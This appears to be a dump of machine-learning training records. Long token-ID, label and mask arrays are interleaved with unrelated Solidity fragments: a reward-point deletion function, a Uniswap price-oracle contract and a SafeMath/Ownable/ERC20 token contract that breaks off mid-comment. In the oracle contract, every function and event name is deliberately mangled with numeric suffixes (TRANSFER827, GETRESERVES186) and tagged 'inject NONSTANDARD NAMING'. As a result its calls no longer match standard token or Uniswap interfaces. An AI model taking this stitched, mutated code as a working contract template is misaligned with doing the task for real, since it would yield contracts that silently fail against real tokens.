-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0x6E68e5311d43A3a03bf6b41a0527B6209E71Dadd/sources/TokenModel.sol
|
@param _index The index number of deleting point in state array./
|
function _deleteRegisteredRewardVelocity(uint256 _index) internal {
uint256 len = registeredPoints.length;
require(len != 0 && _index < len, "error: no elements in registeredPoints");
RewardVelocityPoint memory point = registeredPoints[_index];
emit DeleteRegisterRewardParams(_index, point.blockNumber, point.rewardPerBlock, point.decrementUnitPerBlock, len-1);
for(uint256 i=_index; i<len-1; i++) {
registeredPoints[i] = registeredPoints[i+1];
}
registeredPoints.pop();
}
| 3,321,387 |
[
1,
67,
1615,
1021,
770,
1300,
434,
12993,
1634,
316,
919,
526,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
3733,
10868,
17631,
1060,
27522,
12,
11890,
5034,
389,
1615,
13,
2713,
288,
203,
3639,
2254,
5034,
562,
273,
4104,
5636,
18,
2469,
31,
203,
3639,
2583,
12,
1897,
480,
374,
597,
389,
1615,
411,
562,
16,
315,
1636,
30,
1158,
2186,
316,
4104,
5636,
8863,
203,
203,
3639,
534,
359,
1060,
27522,
2148,
3778,
1634,
273,
4104,
5636,
63,
67,
1615,
15533,
203,
3639,
3626,
2504,
3996,
17631,
1060,
1370,
24899,
1615,
16,
1634,
18,
2629,
1854,
16,
1634,
18,
266,
2913,
2173,
1768,
16,
1634,
18,
323,
3702,
2802,
2173,
1768,
16,
562,
17,
21,
1769,
203,
3639,
364,
12,
11890,
5034,
277,
33,
67,
1615,
31,
277,
32,
1897,
17,
21,
31,
277,
27245,
288,
203,
5411,
4104,
5636,
63,
77,
65,
273,
4104,
5636,
63,
77,
15,
21,
15533,
203,
3639,
289,
203,
3639,
4104,
5636,
18,
5120,
5621,
203,
377,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
//
abstract contract Context {
function _MSGSENDER742() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA476() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OWNERSHIPTRANSFERRED603(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
address msgSender = _MSGSENDER742();
_owner = msgSender;
emit OWNERSHIPTRANSFERRED603(address(0), msgSender);
}
function OWNER943() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER460() { //inject NONSTANDARD NAMING
require(_owner == _MSGSENDER742(), "Ownable: caller is not the owner");
_;
}
function RENOUNCEOWNERSHIP291() public virtual ONLYOWNER460 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED603(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP407(address newOwner) public virtual ONLYOWNER460 { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED603(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract PriceProvider is Ownable {
address public manager;
string public providerName;
uint8 public constant decimals686 = 2; // decimals of ethereum price //inject NONSTANDARD NAMING
bool public updateRequred;
constructor(string memory _providerName, address _manager, bool _updateRequred) public Ownable() {
providerName = _providerName;
manager = _manager;
updateRequred = _updateRequred;
}
function SETMANAGER980(address _manager) external ONLYOWNER460 { //inject NONSTANDARD NAMING
manager = _manager;
}
function LASTPRICE690() public virtual view returns (uint32); //inject NONSTANDARD NAMING
}
//
interface IERC20 {
function TOTALSUPPLY861() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF276(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER827(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE661(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE898(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM273(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER185(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL8(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function NAME190() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL403() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS571() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant resolution887 = 112; //inject NONSTANDARD NAMING
// encode a uint112 as a UQ112x112
function ENCODE375(uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING
return uq112x112(uint224(x) << resolution887);
}
// encodes a uint144 as a UQ144x112
function ENCODE144305(uint144 x) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING
return uq144x112(uint256(x) << resolution887);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function DIV530(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function MUL252(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function FRACTION125(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << resolution887) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function DECODE122(uq112x112 memory self) internal pure returns (uint112) { //inject NONSTANDARD NAMING
return uint112(self._x >> resolution887);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function DECODE144956(uq144x112 memory self) internal pure returns (uint144) { //inject NONSTANDARD NAMING
return uint144(self._x >> resolution887);
}
}
interface IUniswapV2Pair {
event APPROVAL8(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING
event TRANSFER185(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING
function NAME190() external pure returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL403() external pure returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS571() external pure returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY861() external view returns (uint); //inject NONSTANDARD NAMING
function BALANCEOF276(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function ALLOWANCE661(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE898(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER827(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM273(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function DOMAIN_SEPARATOR374() external view returns (bytes32); //inject NONSTANDARD NAMING
function PERMIT_TYPEHASH748() external pure returns (bytes32); //inject NONSTANDARD NAMING
function NONCES344(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function PERMIT537(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING
event MINT421(address indexed sender, uint amount0, uint amount1); //inject NONSTANDARD NAMING
event BURN632(address indexed sender, uint amount0, uint amount1, address indexed to); //inject NONSTANDARD NAMING
event SWAP642( //inject NONSTANDARD NAMING
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event SYNC872(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING
function MINIMUM_LIQUIDITY496() external pure returns (uint); //inject NONSTANDARD NAMING
function FACTORY810() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN0628() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN1909() external view returns (address); //inject NONSTANDARD NAMING
function GETRESERVES186() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); //inject NONSTANDARD NAMING
function PRICE0CUMULATIVELAST525() external view returns (uint); //inject NONSTANDARD NAMING
function PRICE1CUMULATIVELAST405() external view returns (uint); //inject NONSTANDARD NAMING
function KLAST975() external view returns (uint); //inject NONSTANDARD NAMING
function MINT537(address to) external returns (uint liquidity); //inject NONSTANDARD NAMING
function BURN439(address to) external returns (uint amount0, uint amount1); //inject NONSTANDARD NAMING
function SWAP853(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; //inject NONSTANDARD NAMING
function SKIM750(address to) external; //inject NONSTANDARD NAMING
function SYNC911() external; //inject NONSTANDARD NAMING
function INITIALIZE196(address, address) external; //inject NONSTANDARD NAMING
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function CURRENTBLOCKTIMESTAMP220() internal view returns (uint32) { //inject NONSTANDARD NAMING
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function CURRENTCUMULATIVEPRICES765( //inject NONSTANDARD NAMING
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = CURRENTBLOCKTIMESTAMP220();
price0Cumulative = IUniswapV2Pair(pair).PRICE0CUMULATIVELAST525();
price1Cumulative = IUniswapV2Pair(pair).PRICE1CUMULATIVELAST405();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).GETRESERVES186();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.FRACTION125(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.FRACTION125(reserve0, reserve1)._x) * timeElapsed;
}
}
}
//
library SafeMath {
function ADD549(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB879(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB879(a, b, "SafeMath: subtraction overflow");
}
function SUB879(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL252(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV530(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV530(a, b, "SafeMath: division by zero");
}
function DIV530(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD417(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD417(a, b, "SafeMath: modulo by zero");
}
function MOD417(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function SORTTOKENS809(address tokenA, address tokenB) internal pure returns (address token0, address token1) { //inject NONSTANDARD NAMING
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function PAIRFOR391(address factory, address tokenA, address tokenB) internal pure returns (address pair) { //inject NONSTANDARD NAMING
(address token0, address token1) = SORTTOKENS809(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function GETRESERVES186(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { //inject NONSTANDARD NAMING
(address token0,) = SORTTOKENS809(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(PAIRFOR391(factory, tokenA, tokenB)).GETRESERVES186();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function QUOTE986(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { //inject NONSTANDARD NAMING
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.MUL252(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function GETAMOUNTOUT221(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { //inject NONSTANDARD NAMING
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.MUL252(997);
uint numerator = amountInWithFee.MUL252(reserveOut);
uint denominator = reserveIn.MUL252(1000).ADD549(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function GETAMOUNTIN900(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { //inject NONSTANDARD NAMING
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.MUL252(amountOut).MUL252(1000);
uint denominator = reserveOut.SUB879(amountOut).MUL252(997);
amountIn = (numerator / denominator).ADD549(1);
}
// performs chained getAmountOut calculations on any number of pairs
function GETAMOUNTSOUT486(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = GETRESERVES186(factory, path[i], path[i + 1]);
amounts[i + 1] = GETAMOUNTOUT221(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function GETAMOUNTSIN740(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = GETRESERVES186(factory, path[i - 1], path[i]);
amounts[i - 1] = GETAMOUNTIN900(amounts[i], reserveIn, reserveOut);
}
}
}
contract PriceProviderUniswap is PriceProvider {
using FixedPoint for *;
using SafeMath for uint;
IUniswapV2Pair public immutable pair;
address immutable weth;
address public immutable stableToken;
uint priceCumulativeLast;
uint price1CumulativeLast;
uint32 blockTimestampLast;
bool wethIsToken0;
FixedPoint.uq112x112 priceAverage;
constructor(address _manager, address _factory, address _weth, address _stableToken) public PriceProvider("Uniswap", _manager, true) {
IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.PAIRFOR391(_factory, _weth, _stableToken));
pair = _pair;
weth = _weth;
if (_weth == _pair.TOKEN0628()) {
wethIsToken0 = true;
} else {
wethIsToken0 = false;
}
stableToken = _stableToken;
if (wethIsToken0 == true) {
priceCumulativeLast = _pair.PRICE0CUMULATIVELAST525();
} else {
priceCumulativeLast = _pair.PRICE1CUMULATIVELAST405();
}
(,,blockTimestampLast) = _pair.GETRESERVES186();
}
function UPDATE754() external { //inject NONSTANDARD NAMING
require(msg.sender == manager, "manager!");
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.CURRENTCUMULATIVEPRICES765(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
if (wethIsToken0 == true) {
priceAverage = FixedPoint.uq112x112(uint224((price0Cumulative - priceCumulativeLast) / timeElapsed));
priceCumulativeLast = price0Cumulative;
} else {
priceAverage = FixedPoint.uq112x112(uint224((price1Cumulative - priceCumulativeLast) / timeElapsed));
priceCumulativeLast = price1Cumulative;
}
blockTimestampLast = blockTimestamp;
}
function LASTPRICE690() public override view returns (uint32 price) { //inject NONSTANDARD NAMING
uint amountOut = priceAverage.MUL252(1 ether).DECODE144956();
uint8 stableTokenDecimals = ERC20Detailed(stableToken).DECIMALS571();
if (stableTokenDecimals >= decimals686) {
price = uint32(amountOut.DIV530(10 ** uint(stableTokenDecimals - decimals686)));
} else {
price = uint32(amountOut.MUL252(10 ** uint(decimals686 - stableTokenDecimals)));
}
}
}
|
returns a UQ112x112 which represents the ratio of the numerator to the denominator equivalent to encode(numerator).div(denominator)
|
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
| 12,546,448 |
[
1,
6154,
279,
587,
53,
17666,
92,
17666,
1492,
8686,
326,
7169,
434,
326,
16730,
358,
326,
15030,
7680,
358,
2017,
12,
2107,
7385,
2934,
2892,
12,
13002,
26721,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2583,
12,
13002,
26721,
405,
374,
16,
315,
7505,
2148,
30,
27355,
67,
6486,
67,
24968,
8863,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
